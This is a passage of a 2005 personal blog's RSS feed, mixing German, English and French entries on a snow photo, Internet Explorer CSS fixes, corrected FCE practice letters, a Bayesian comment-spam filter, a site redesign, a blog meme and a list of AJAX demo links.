  11521.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  11522.    <pubDate>Sun, 18 Dec 2005 23:46:24 +0100</pubDate>
  11523.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  11524.    <description><![CDATA[<p>
  11525. <a href="https://blog.x-way.org/images/schnee.jpg" title="Klick um das ganze Bild anzuzeigen"><img width="249" height="179" src="https://blog.x-way.org/images/schnee_ausschnitt.jpg" alt="Schnee (Ausschnitt)"></a>
  11526. </p>
  11527.  
  11528. <p>
  11529. Blick aus meinem Fenster, heute um 11:28 Uhr.<br>
  11530. Danach gings ab auf die Piste :-)
  11531. </p>
  11532. ]]></description>
  11533.    <content:encoded><![CDATA[<p>
  11534. <a href="https://blog.x-way.org/images/schnee.jpg" title="Klick um das ganze Bild anzuzeigen"><img width="249" height="179" src="https://blog.x-way.org/images/schnee_ausschnitt.jpg" alt="Schnee (Ausschnitt)"></a>
  11535. </p>
  11536.  
  11537. <p>
  11538. Blick aus meinem Fenster, heute um 11:28 Uhr.<br>
  11539. Danach gings ab auf die Piste :-)
  11540. </p>
  11541. ]]></content:encoded>
  11542.  </item>
  11543.  
  11544.  <item>
  11545.    <title>CSS4IE</title>
  11546.    <link>https://blog.x-way.org/Webdesign/2005/11/23/CSS4IE.html</link>
  11547.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324078</guid>
  11548.    <dc:creator>Andreas Jaggi</dc:creator>
  11549.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  11550.    <pubDate>Wed, 23 Nov 2005 01:21:59 +0100</pubDate>
  11551.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  11552.    <description><![CDATA[<p>Da hier anscheinend doch machmal ein paar Benutzer mit dem Internet
  11553. Explorer vorbeikommen habe ich nun doch noch das Layout so angepasst,
  11554. dass es auch im Internet Explorer wie gewünscht aussieht (zudem soll ja
  11555. eine potentielle Kundschaft nicht abgeschreckt
  11556. werden).</p>
  11557. <p>
  11558. Eigentlich sind die Änderungen am CSS nur ganz klein, aber umso schwerer herauszufinden *grrr*.<br>
  11559. Als sehr hilfreich herausgestellt hat sich die parallele Installation verschiedener Internet Explorer Versionen. <a href="https://web.archive.org/web/20051125045405/http://www.quirksmode.org/browsers/multipleie.html" title="Multiple Explorers (archive.org)">Dieser Artikel</a> erklärt wie man eine solche Testumgebung erstellt.</p>
  11560. <p>
  11561. Interessanterweise sah der unangepasste Stylesheet im Internet Explorer 4 bedeutend besser aus als im Internet Explorer 5, 5.5 oder 6.</p>
  11562. ]]></description>
  11563.    <content:encoded><![CDATA[<p>Da hier anscheinend doch machmal ein paar Benutzer mit dem Internet
  11564. Explorer vorbeikommen habe ich nun doch noch das Layout so angepasst,
  11565. dass es auch im Internet Explorer wie gewünscht aussieht (zudem soll ja
  11566. eine potentielle Kundschaft nicht abgeschreckt
  11567. werden).</p>
  11568. <p>
  11569. Eigentlich sind die Änderungen am CSS nur ganz klein, aber umso schwerer herauszufinden *grrr*.<br>
  11570. Als sehr hilfreich herausgestellt hat sich die parallele Installation verschiedener Internet Explorer Versionen. <a href="https://web.archive.org/web/20051125045405/http://www.quirksmode.org/browsers/multipleie.html" title="Multiple Explorers (archive.org)">Dieser Artikel</a> erklärt wie man eine solche Testumgebung erstellt.</p>
  11571. <p>
  11572. Interessanterweise sah der unangepasste Stylesheet im Internet Explorer 4 bedeutend besser aus als im Internet Explorer 5, 5.5 oder 6.</p>
  11573. ]]></content:encoded>
  11574.  </item>
  11575.  
  11576.  <item>
  11577.    <title>FCE Formal Letter #1</title>
  11578.    <link>https://blog.x-way.org/School/2005/11/22/FCE-Formal-Letter-1.html</link>
  11579.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324077</guid>
  11580.    <dc:creator>Andreas Jaggi</dc:creator>
  11581.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  11582.    <pubDate>Tue, 22 Nov 2005 21:39:44 +0100</pubDate>
  11583.    <category domain="https://blog.x-way.org/School/">School</category>
  11584.    <description><![CDATA[<p>Here's the letter we had to write for this week. In fact it's not
  11585. totaly written by myself because about 40% of the letter were already
  11586. given and we just had to complete it.<br>
  11587. Since we had to do this letter for today, it's not yet corrected.</p>
  11588. <br><br>
  11589. <blockquote class="fce-formal-letter">
  11590. <p>Dear Mr Spiller,</p>
  11591.  
  11592. <p>Thank you very much for your letter informing me that I have won
  11593. first prize in the competition. I am looking forward to going to
  11594. Australia and attending the course.</p>
  11595.  
  11596. <p>I would like to do the course in August because in September my courses at the EPFL start.</p>
  11597.  
  11598. <p>In the morning, I would like to join a grammar and vocabulary class
  11599. because I asume my skills in these fields could use an improvement.<br>
  11600. In
  11601. the afternoon, I would like to try making a class website because I was
  11602. always fascinated by the possibilities of the internet and would like
  11603. to create a part of it on my own. I would also be interested in trying
  11604. to make a radio programme because I often listen to the radio and like
  11605. it a lot.</p>
  11606.  
  11607. <p>Could you tell me what type of accommmodation is provided and what kind of clothes I should bring with me?</p>
  11608.  
  11609. <p>I look forward to hearing from you.</p>
  11610.  
  11611. <p>Yours sincerely,</p>
  11612.  
  11613. <p>Andreas Jaggi</p>
  11614. </blockquote>
  11615. ]]></description>
  11616.    <content:encoded><![CDATA[<p>Here's the letter we had to write for this week. In fact it's not
  11617. totaly written by myself because about 40% of the letter were already
  11618. given and we just had to complete it.<br>
  11619. Since we had to do this letter for today, it's not yet corrected.</p>
  11620. <br><br>
  11621. <blockquote class="fce-formal-letter">
  11622. <p>Dear Mr Spiller,</p>
  11623.  
  11624. <p>Thank you very much for your letter informing me that I have won
  11625. first prize in the competition. I am looking forward to going to
  11626. Australia and attending the course.</p>
  11627.  
  11628. <p>I would like to do the course in August because in September my courses at the EPFL start.</p>
  11629.  
  11630. <p>In the morning, I would like to join a grammar and vocabulary class
  11631. because I asume my skills in these fields could use an improvement.<br>
  11632. In
  11633. the afternoon, I would like to try making a class website because I was
  11634. always fascinated by the possibilities of the internet and would like
  11635. to create a part of it on my own. I would also be interested in trying
  11636. to make a radio programme because I often listen to the radio and like
  11637. it a lot.</p>
  11638.  
  11639. <p>Could you tell me what type of accommmodation is provided and what kind of clothes I should bring with me?</p>
  11640.  
  11641. <p>I look forward to hearing from you.</p>
  11642.  
  11643. <p>Yours sincerely,</p>
  11644.  
  11645. <p>Andreas Jaggi</p>
  11646. </blockquote>
  11647. ]]></content:encoded>
  11648.  </item>
  11649.  
  11650.  <item>
  11651.    <title>FCE Informal Letter #2</title>
  11652.    <link>https://blog.x-way.org/School/2005/11/20/FCE-Informal-Letter-2.html</link>
  11653.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324076</guid>
  11654.    <dc:creator>Andreas Jaggi</dc:creator>
  11655.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  11656.    <pubDate>Sun, 20 Nov 2005 01:07:51 +0100</pubDate>
  11657.    <category domain="https://blog.x-way.org/School/">School</category>
  11658.    <description><![CDATA[<p>To continue what I started on Friday: here is the second letter I
  11659. wrote for the English course. I got back this letter last Thursday, so
  11660. it comes already with the corrections, but I plan to publish the next
  11661. letters before I hand them in and to add the corrections afterwards.</p>
  11662. <br><br>
  11663. <blockquote class="fce-informal-letter">
  11664. <p class="fce-informal-letter-no-indent">Dear Roman,</p>
  11665. <p>
  11666. You asked me for advice regarding next term. Here is the information I gathered for you.
  11667. </p>
  11668. <p>
  11669. The course registration is on Monday 6 September and Tuesday 7
  11670. September from 10.00 to 16.00. Register as early as possible because
  11671. there are really <del>much</del><ins>many</ins> people. There is always a big queue, but it is worth it.
  11672. </p>
  11673. <p>
  11674. Also on Tuesday but at 9.00 the College bookshop opens. You need all the books by Wednesday.<br>
  11675. At the bookshop they cost <del>50 pounds</del><ins>&#163;50</ins>, but you can have mine for half price<ins>, great bargain!!</ins>.
  11676. </p>
  11677. <p>
  11678. The first lesson starts on Wednesday 8 September at 9.15. It is always good to be there early (9.00) so you have a good seat.
  11679. </p>
  11680. <p>
  11681. On Wednesday evening there is a welcome party at 20.00 at Seven Starts
  11682. Hotel, it is always a great fun. Maybe we will meet there?
  11683. </p>
  11684. <p class="fce-informal-letter-no-indent">See you there</p>
  11685. <p class="fce-informal-letter-no-indent">Yours<br>Andreas</p>
  11686. </blockquote>
  11687. ]]></description>
  11688.    <content:encoded><![CDATA[<p>To continue what I started on Friday: here is the second letter I
  11689. wrote for the English course. I got back this letter last Thursday, so
  11690. it comes already with the corrections, but I plan to publish the next
  11691. letters before I hand them in and to add the corrections afterwards.</p>
  11692. <br><br>
  11693. <blockquote class="fce-informal-letter">
  11694. <p class="fce-informal-letter-no-indent">Dear Roman,</p>
  11695. <p>
  11696. You asked me for advice regarding next term. Here is the information I gathered for you.
  11697. </p>
  11698. <p>
  11699. The course registration is on Monday 6 September and Tuesday 7
  11700. September from 10.00 to 16.00. Register as early as possible because
  11701. there are really <del>much</del><ins>many</ins> people. There is always a big queue, but it is worth it.
  11702. </p>
  11703. <p>
  11704. Also on Tuesday but at 9.00 the College bookshop opens. You need all the books by Wednesday.<br>
  11705. At the bookshop they cost <del>50 pounds</del><ins>&#163;50</ins>, but you can have mine for half price<ins>, great bargain!!</ins>.
  11706. </p>
  11707. <p>
  11708. The first lesson starts on Wednesday 8 September at 9.15. It is always good to be there early (9.00) so you have a good seat.
  11709. </p>
  11710. <p>
  11711. On Wednesday evening there is a welcome party at 20.00 at Seven Starts
  11712. Hotel, it is always a great fun. Maybe we will meet there?
  11713. </p>
  11714. <p class="fce-informal-letter-no-indent">See you there</p>
  11715. <p class="fce-informal-letter-no-indent">Yours<br>Andreas</p>
  11716. </blockquote>
  11717. ]]></content:encoded>
  11718.  </item>
  11719.  
  11720.  <item>
  11721.    <title>Kommentar Spam</title>
  11722.    <link>https://blog.x-way.org/Coding/2005/11/20/Kommentar-Spam.html</link>
  11723.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324075</guid>
  11724.    <dc:creator>Andreas Jaggi</dc:creator>
  11725.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  11726.    <pubDate>Sun, 20 Nov 2005 00:07:22 +0100</pubDate>
  11727.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  11728.    <description><![CDATA[<p>Seit gestern haben hier die Spam-Kommentare massiv zugenommmen
  11729. (sprich 40-50 anstelle von 0-10 pro Tag). Zudem werden sie nicht mehr
  11730. über den ganzen Tag verteilt abgegeben sondern fast alle innerhalb der
  11731. gleichen 5-10 Minuten.</p>
  11732.  
  11733. <p>Glücklicherweise habe ich schon vor einiger Zeit meinen <a href="http://waterwave.ch/weblog/Fight-Spam" title="x-log: Fight Spam">&quot;naiven&quot; Badword-Filter</a> durch einen <a href="http://de.wikipedia.org/wiki/Bayesscher_Filter" title="Bayesscher Filter - Wikipedia">Bayes'schen Spamfilter</a> ersetzt, der bisher alle(!) Spam-Kommentare erkannt und markiert hat.
  11734. <br>
  11735. Aber es ist trotzdem ärgerlich immer die als Spam markierten
  11736. Kommentare zu löschen (momentant habe ich noch nicht genügend Vertrauen
  11737. in den Filter als dass ich ihn die Spam-Kommentare automatisch löschen
  11738. lasse).</p>
  11739.  
  11740. <p>Da die Anzahl der hier vorhandenen Kommentare nicht gerade enorm
  11741. ist, habe ich um den Spamfilter zu trainieren auch noch die Seiten
  11742. meines <a href="http://waterwave.ch/weblog/phiki_waterwave_ch" title="x-log: phiki.waterwave.ch">spamgeplagten</a> <a href="https://phiki.x-way.org/" title="phiki.waterwave.ch">Wikis</a> hinzugenommen. Auch dort funktioniert die Spamerkennung nach anfänglichen Schwierigkeiten (False-positives) problemlos.</p>
  11743.  
  11744. <p>
  11745. Dieses &quot;Wundermittel gegen den Spam&quot; habe ich nicht etwa selber entwickelt sondern ich habe einfach die <a href="http://www.phpclasses.org/spamfilter" title="PHP Classes - Class: Spam Filter">Spam Filter Klasse</a> von <a href="http://www.phpclasses.org/" title="PHP Classes">PHPClasses.org</a> an meine Bedürfnisse angepasst.<br>
  11746. Allen Spamgeplagten kann ich den Einsatz eines <a href="http://de.wikipedia.org/wiki/Bayesscher_Filter" title="Bayesscher Filter - Wikipedia">Bayes'schen Spamfilters</a> sehr empfehlen!
  11747. </p>
  11748. ]]></description>
  11749.    <content:encoded><![CDATA[<p>Seit gestern haben hier die Spam-Kommentare massiv zugenommmen
  11750. (sprich 40-50 anstelle von 0-10 pro Tag). Zudem werden sie nicht mehr
  11751. über den ganzen Tag verteilt abgegeben sondern fast alle innerhalb der
  11752. gleichen 5-10 Minuten.</p>
  11753.  
  11754. <p>Glücklicherweise habe ich schon vor einiger Zeit meinen <a href="http://waterwave.ch/weblog/Fight-Spam" title="x-log: Fight Spam">&quot;naiven&quot; Badword-Filter</a> durch einen <a href="http://de.wikipedia.org/wiki/Bayesscher_Filter" title="Bayesscher Filter - Wikipedia">Bayes'schen Spamfilter</a> ersetzt, der bisher alle(!) Spam-Kommentare erkannt und markiert hat.
  11755. <br>
  11756. Aber es ist trotzdem ärgerlich immer die als Spam markierten
  11757. Kommentare zu löschen (momentant habe ich noch nicht genügend Vertrauen
  11758. in den Filter als dass ich ihn die Spam-Kommentare automatisch löschen
  11759. lasse).</p>
  11760.  
  11761. <p>Da die Anzahl der hier vorhandenen Kommentare nicht gerade enorm
  11762. ist, habe ich um den Spamfilter zu trainieren auch noch die Seiten
  11763. meines <a href="http://waterwave.ch/weblog/phiki_waterwave_ch" title="x-log: phiki.waterwave.ch">spamgeplagten</a> <a href="https://phiki.x-way.org/" title="phiki.waterwave.ch">Wikis</a> hinzugenommen. Auch dort funktioniert die Spamerkennung nach anfänglichen Schwierigkeiten (False-positives) problemlos.</p>
  11764.  
  11765. <p>
  11766. Dieses &quot;Wundermittel gegen den Spam&quot; habe ich nicht etwa selber entwickelt sondern ich habe einfach die <a href="http://www.phpclasses.org/spamfilter" title="PHP Classes - Class: Spam Filter">Spam Filter Klasse</a> von <a href="http://www.phpclasses.org/" title="PHP Classes">PHPClasses.org</a> an meine Bedürfnisse angepasst.<br>
  11767. Allen Spamgeplagten kann ich den Einsatz eines <a href="http://de.wikipedia.org/wiki/Bayesscher_Filter" title="Bayesscher Filter - Wikipedia">Bayes'schen Spamfilters</a> sehr empfehlen!
  11768. </p>
  11769. ]]></content:encoded>
  11770.  </item>
  11771.  
  11772.  <item>
  11773.    <title>FCE</title>
  11774.    <link>https://blog.x-way.org/School/2005/11/17/FCE.html</link>
  11775.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324074</guid>
  11776.    <dc:creator>Andreas Jaggi</dc:creator>
  11777.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  11778.    <pubDate>Thu, 17 Nov 2005 23:39:12 +0100</pubDate>
  11779.    <category domain="https://blog.x-way.org/School/">School</category>
  11780.    <description><![CDATA[<p>
  11781. Since I didn't have English courses for almost five years and since I
  11782. plan to do an exchange year in 2006/2007, I'm actually following an
  11783. English preparation course for the Cambridge First Certificate in
  11784. English (FCE) with the target to do the certificate in July 2006.<br>The course is hold at the language center of the EPFL and is also paid by the EPFL (only the course, not the certificate).</p>
  11785. <p>
  11786. It seems that for the course I have to write a sample letter each week.
  11787. I thought this would be a good oppurtunity to easily add some English
  11788. content to this weblog and this way there are much more people who can
  11789. find mistakes and eventually give me some hints on how to improve my
  11790. writing skills :-)
  11791. </p>
  11792. <p>
  11793. There we go, here is the first letter we had to write, already with the corrections.
  11794. </p>
  11795. <br><br>
  11796. <blockquote>
  11797. <p>Dear Thomas,</p>
  11798. <p>
  11799. <del>Like</del><ins>As</ins> you probably know, I help at <ins>the</ins> &quot;Satellite&quot; and we're organizing a concert tomorrow.<br>
  11800. It's a concert <del>of</del><ins>with</ins> two post-rock groups called &quot;Rosqo&quot; and &quot;Beautiful Leopard&quot;.
  11801. </p>
  11802. <p>
  11803. &quot;Satellite&quot; is located on the second floor of the &quot;CM&quot; building of <ins>the</ins> EPFL. The concert starts at eight o'clock and finishes around midnight.
  11804. </p>
  11805. <p>
  11806. It seems that the two groups are quite popular, so please tell me if you can come as <del>fast</del><ins>soon</ins> as possible, so that I can reserve a ticket for you.
  11807. </p>
  11808. <p>
  11809. Since you're coming from Luzern there aren't any trains <del>at</del><ins>after</ins> midnight. But this isn't a problem, I'll organize a bed for you.
  11810. </p>
  11811. <p>
  11812. If you're not to<ins>o</ins> tired after the concert, we could go out to the city and visit some discos.
  11813. </p>
  11814. <p>Hope you'll come to the concert.</p>
  11815. <p>Best wishes</p>
  11816. <p>Andreas</p>
  11817. </blockquote>
  11818. ]]></description>
  11819.    <content:encoded><![CDATA[<p>
  11820. Since I didn't have English courses for almost five years and since I
  11821. plan to do an exchange year in 2006/2007, I'm actually following an
  11822. English preparation course for the Cambridge First Certificate in
  11823. English (FCE) with the target to do the certificate in July 2006.<br>The course is hold at the language center of the EPFL and is also paid by the EPFL (only the course, not the certificate).</p>
  11824. <p>
  11825. It seems that for the course I have to write a sample letter each week.
  11826. I thought this would be a good oppurtunity to easily add some English
  11827. content to this weblog and this way there are much more people who can
  11828. find mistakes and eventually give me some hints on how to improve my
  11829. writing skills :-)
  11830. </p>
  11831. <p>
  11832. There we go, here is the first letter we had to write, already with the corrections.
  11833. </p>
  11834. <br><br>
  11835. <blockquote>
  11836. <p>Dear Thomas,</p>
  11837. <p>
  11838. <del>Like</del><ins>As</ins> you probably know, I help at <ins>the</ins> &quot;Satellite&quot; and we're organizing a concert tomorrow.<br>
  11839. It's a concert <del>of</del><ins>with</ins> two post-rock groups called &quot;Rosqo&quot; and &quot;Beautiful Leopard&quot;.
  11840. </p>
  11841. <p>
  11842. &quot;Satellite&quot; is located on the second floor of the &quot;CM&quot; building of <ins>the</ins> EPFL. The concert starts at eight o'clock and finishes around midnight.
  11843. </p>
  11844. <p>
  11845. It seems that the two groups are quite popular, so please tell me if you can come as <del>fast</del><ins>soon</ins> as possible, so that I can reserve a ticket for you.
  11846. </p>
  11847. <p>
  11848. Since you're coming from Luzern there aren't any trains <del>at</del><ins>after</ins> midnight. But this isn't a problem, I'll organize a bed for you.
  11849. </p>
  11850. <p>
  11851. If you're not to<ins>o</ins> tired after the concert, we could go out to the city and visit some discos.
  11852. </p>
  11853. <p>Hope you'll come to the concert.</p>
  11854. <p>Best wishes</p>
  11855. <p>Andreas</p>
  11856. </blockquote>
  11857. ]]></content:encoded>
  11858.  </item>
  11859.  
  11860.  <item>
  11861.    <title>CSS Reboot Fall 2005</title>
  11862.    <link>https://blog.x-way.org/Webdesign/2005/11/01/CSS-Reboot-Fall-2005.html</link>
  11863.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324073</guid>
  11864.    <dc:creator>Andreas Jaggi</dc:creator>
  11865.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  11866.    <pubDate>Tue, 01 Nov 2005 00:00:00 +0100</pubDate>
  11867.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  11868.    <description><![CDATA[<p>Am Wochenende bin ich per Zufall auf die <a href="http://www.cssreboot.com/" title="CSS Reboot Fall 2005">CSS Reboot</a> Seite gestossen.<br>Da ich am Sonntag Nachmittag nichts Interessantes vorhatte, ist innerhalb eines Tages das neue Design entstanden :-)</p>
  11869.  
  11870. <p>Wer immernoch das mittlerweile etwas verbleichte alte Layout sieht, soll bitte <s>hier klicken</s> um zum neuen zu wechseln.</p>
  11871.  
  11872. <p>In <a href="https://www.mozilla.org/en-US/firefox/" title="Spread Firefox | Igniting the web">Mozilla Firefox</a>, <a href="http://www.opera.com/" title="Opera Web Browser">Opera</a> und <a href="http://www.apple.com/safari/" title="Apple - Safari">Safari</a> sieht die Seite ziemlich genau so aus wie gewünscht, aber im Internet Explorer stimmt wiedereinmal gar nichts :-(</p>
  11873. ]]></description>
  11874.    <content:encoded><![CDATA[<p>Am Wochenende bin ich per Zufall auf die <a href="http://www.cssreboot.com/" title="CSS Reboot Fall 2005">CSS Reboot</a> Seite gestossen.<br>Da ich am Sonntag Nachmittag nichts Interessantes vorhatte, ist innerhalb eines Tages das neue Design entstanden :-)</p>
  11875.  
  11876. <p>Wer immernoch das mittlerweile etwas verbleichte alte Layout sieht, soll bitte <s>hier klicken</s> um zum neuen zu wechseln.</p>
  11877.  
  11878. <p>In <a href="https://www.mozilla.org/en-US/firefox/" title="Spread Firefox | Igniting the web">Mozilla Firefox</a>, <a href="http://www.opera.com/" title="Opera Web Browser">Opera</a> und <a href="http://www.apple.com/safari/" title="Apple - Safari">Safari</a> sieht die Seite ziemlich genau so aus wie gewünscht, aber im Internet Explorer stimmt wiedereinmal gar nichts :-(</p>
  11879. ]]></content:encoded>
  11880.  </item>
  11881.  
  11882.  <item>
  11883.    <title>Lancer le bâton</title>
  11884.    <link>https://blog.x-way.org/Misc/2005/10/30/Lancer-le-baton.html</link>
  11885.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324072</guid>
  11886.    <dc:creator>Andreas Jaggi</dc:creator>
  11887.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  11888.    <pubDate>Sun, 30 Oct 2005 00:18:13 +0200</pubDate>
  11889.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  11890.    <description><![CDATA[<p><a href="https://kniebes.com/2005/10/28/und-jetzt-franzoesisch" title="Und jetzt französisch">Markus</a> bewirft mich wegen den Französischkenntnissen mit Stöckchen!</p>
  11891.  
  11892. <blockquote lang="fr" cite="https://kniebes.com/2005/10/28/und-jetzt-franzoesisch">
  11893. <ol>
  11894. <li>Allez dans vos archives.</li>
  11895.  
  11896. <li>Retrouvez la 23e note ou celle proche de ce chiffre.</li>
  11897.  
  11898. <li>Retrouvez la 5e phrase.</li>
  11899.  
  11900. <li>Affichez le texte de la phrase ainsi que ces instructions.</li>
  11901.  
  11902. <li>Demandez &#224; 5 personnes que vous aimez lire d&#8217;en faire autant.</li>
  11903. </ol>
  11904. </blockquote>
  11905.  
  11906. <p>Voil&#224;, der fünfte Satz aus dem <a href="http://waterwave.ch/weblog/24" title="Endlich...">dreiundzwanzigsten Eintrag</a>:</p>
  11907.  
  11908. <blockquote cite="http://waterwave.ch/weblog/24"><p><b>Yeehaw!</b></p>
  11909. </blockquote>
  11910.  
  11911. <p>Das Stöckchen an fünf Personen weiterreichen, welche ich gerne lese?<br>
  11912. Mal schauen was die Linkliste so hergibt:</p>
  11913.  
  11914. <ul>
  11915. <li><a href="#" title="sunflyer.ch" class="gone">Andreas</a></li>
  11916.  
  11917. <li><a href="http://www.pepilog.de/" title="Pepilog">Pepino</a></li>
  11918.  
  11919. <li><a href="https://web.archive.org/web/20051025050505/http://www.metamorphine.de/" title="metamorphine (archive.org)">dee</a></li>
  11920.  
  11921. <li><a href="https://web.archive.org/web/20051122134554/http://blog.0xfce3.net/" title="mindtrap::weblog (archive.org)">Gordon</a></li>
  11922.  
  11923. <li><a href="http://theflow.de/" title="theflow.de">Flo</a></li>
  11924. </ul>
  11925. ]]></description>
  11926.    <content:encoded><![CDATA[<p><a href="https://kniebes.com/2005/10/28/und-jetzt-franzoesisch" title="Und jetzt französisch">Markus</a> bewirft mich wegen den Französischkenntnissen mit Stöckchen!</p>
  11927.  
  11928. <blockquote lang="fr" cite="https://kniebes.com/2005/10/28/und-jetzt-franzoesisch">
  11929. <ol>
  11930. <li>Allez dans vos archives.</li>
  11931.  
  11932. <li>Retrouvez la 23e note ou celle proche de ce chiffre.</li>
  11933.  
  11934. <li>Retrouvez la 5e phrase.</li>
  11935.  
  11936. <li>Affichez le texte de la phrase ainsi que ces instructions.</li>
  11937.  
  11938. <li>Demandez &#224; 5 personnes que vous aimez lire d&#8217;en faire autant.</li>
  11939. </ol>
  11940. </blockquote>
  11941.  
  11942. <p>Voil&#224;, der fünfte Satz aus dem <a href="http://waterwave.ch/weblog/24" title="Endlich...">dreiundzwanzigsten Eintrag</a>:</p>
  11943.  
  11944. <blockquote cite="http://waterwave.ch/weblog/24"><p><b>Yeehaw!</b></p>
  11945. </blockquote>
  11946.  
  11947. <p>Das Stöckchen an fünf Personen weiterreichen, welche ich gerne lese?<br>
  11948. Mal schauen was die Linkliste so hergibt:</p>
  11949.  
  11950. <ul>
  11951. <li><a href="#" title="sunflyer.ch" class="gone">Andreas</a></li>
  11952.  
  11953. <li><a href="http://www.pepilog.de/" title="Pepilog">Pepino</a></li>
  11954.  
  11955. <li><a href="https://web.archive.org/web/20051025050505/http://www.metamorphine.de/" title="metamorphine (archive.org)">dee</a></li>
  11956.  
  11957. <li><a href="https://web.archive.org/web/20051122134554/http://blog.0xfce3.net/" title="mindtrap::weblog (archive.org)">Gordon</a></li>
  11958.  
  11959. <li><a href="http://theflow.de/" title="theflow.de">Flo</a></li>
  11960. </ul>
  11961. ]]></content:encoded>
  11962.  </item>
  11963.  
  11964.  <item>
  11965.    <title>Démos d'AJAX</title>
  11966.    <link>https://blog.x-way.org/Webdesign/2005/09/09/Demos-dAJAX.html</link>
  11967.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324071</guid>
  11968.    <dc:creator>Andreas Jaggi</dc:creator>
  11969.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  11970.    <pubDate>Fri, 09 Sep 2005 14:39:59 +0200</pubDate>
  11971.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  11972.    <description><![CDATA[<p>Voil&#233; quelques liens vers des d&#233;mos d&#8217;AJAX.</p>
  11973.  
  11974. <ul>
  11975. <li><a href="https://web.archive.org/web/20050924051639/http://wiki.script.aculo.us/scriptaculous/show/Demos" title="Demos in script.aculo.us Wiki (archive.org)">Demos in script.aculo.us Wiki</a></li>
  11976.  
  11977. <li><a href="https://web.archive.org/web/20050908014420/http://files.kniebes.net/php/RSSReader/" title="RSSReader (archive.org)">RSSReader</a></li>
  11978.  
  11979. <li><a href="https://web.archive.org/web/20050920045151/http://www.couloir.org/" title="Couloir (archive.org)">Couloir</a></li>
  11980.  
  11981. <li><a href="http://tiddlywiki.com/" title="TiddlyWiki">TiddlyWiki</a></li>
  11982.  
  11983. <li><a href="http://www.masswerk.at/jsuix/index.html" title="JS/UIX - Terminal">JS/UIX - Terminal</a></li>
  11984.  
  11985. <li><a href="https://web.archive.org/web/20050923124715/http://openrico.org/rico/demos.page" title="Rico (archive.org)">Rico</a></li>
  11986.  
  11987. <li><a href="https://web.archive.org/web/20051213013834/http://www.ajaxify.com/run/wiki/status/" title="Ajax Status Wiki Demo (archive.org)">Ajax Status Wiki Demo</a></li>
  11988.  
  11989. <li><a href="https://web.archive.org/web/20050930234358/http://www.backbase.com/demos/RSS/" title="Backbase AJAX RSS Reader (archive.org)">Backbase AJAX RSS Reader</a></li>
  11990.  
  11991. <li><a href="https://web.archive.org/web/20050913024154/http://www.formassembly.com/form-garden.php" title="The Form Assembly Garden (archive.org)">The Form Assembly Garden</a></li>
  11992.  
  11993. <li><a href="https://web.archive.org/web/20050923204403/http://code.jalenack.com/periodic/" title="Jalenacks AJAX Periodic Table of the Elements (archive.org)">Jalenack&#8217;s AJAX Periodic Table of the Elements</a></li>
  11994.  
  11995. <li><a href="https://web.archive.org/web/20050920201208/http://colr.org/" title="colr.org (archive.org)">colr.org</a></li>
  11996.  
  11997. <li><a href="https://mochi.github.io/mochikit/examples/effects/index.html" title="MochiKit - Demos">MochiKit - Demos</a></li>
  11998.  
  11999. <li><a href="https://web.archive.org/web/20050924000321/http://ajaxpatterns.org/Ajax_Examples" title="Ajax Examples - Ajax Patterns (archive.org)">Ajax Examples - Ajax Patterns</a></li>
  12000. </ul>
  12001. ]]></description>
  12002.    <content:encoded><![CDATA[<p>Voil&#233; quelques liens vers des d&#233;mos d&#8217;AJAX.</p>
  12003.  
  12004. <ul>
  12005. <li><a href="https://web.archive.org/web/20050924051639/http://wiki.script.aculo.us/scriptaculous/show/Demos" title="Demos in script.aculo.us Wiki (archive.org)">Demos in script.aculo.us Wiki</a></li>
  12006.  
  12007. <li><a href="https://web.archive.org/web/20050908014420/http://files.kniebes.net/php/RSSReader/" title="RSSReader (archive.org)">RSSReader</a></li>
  12008.  
  12009. <li><a href="https://web.archive.org/web/20050920045151/http://www.couloir.org/" title="Couloir (archive.org)">Couloir</a></li>
  12010.  
  12011. <li><a href="http://tiddlywiki.com/" title="TiddlyWiki">TiddlyWiki</a></li>
  12012.  
  12013. <li><a href="http://www.masswerk.at/jsuix/index.html" title="JS/UIX - Terminal">JS/UIX - Terminal</a></li>
  12014.  
  12015. <li><a href="https://web.archive.org/web/20050923124715/http://openrico.org/rico/demos.page" title="Rico (archive.org)">Rico</a></li>
  12016.  
  12017. <li><a href="https://web.archive.org/web/20051213013834/http://www.ajaxify.com/run/wiki/status/" title="Ajax Status Wiki Demo (archive.org)">Ajax Status Wiki Demo</a></li>
  12018.  
  12019. <li><a href="https://web.archive.org/web/20050930234358/http://www.backbase.com/demos/RSS/" title="Backbase AJAX RSS Reader (archive.org)">Backbase AJAX RSS Reader</a></li>
  12020.  
  12021. <li><a href="https://web.archive.org/web/20050913024154/http://www.formassembly.com/form-garden.php" title="The Form Assembly Garden (archive.org)">The Form Assembly Garden</a></li>
  12022.  
  12023. <li><a href="https://web.archive.org/web/20050923204403/http://code.jalenack.com/periodic/" title="Jalenacks AJAX Periodic Table of the Elements (archive.org)">Jalenack&#8217;s AJAX Periodic Table of the Elements</a></li>
  12024.  
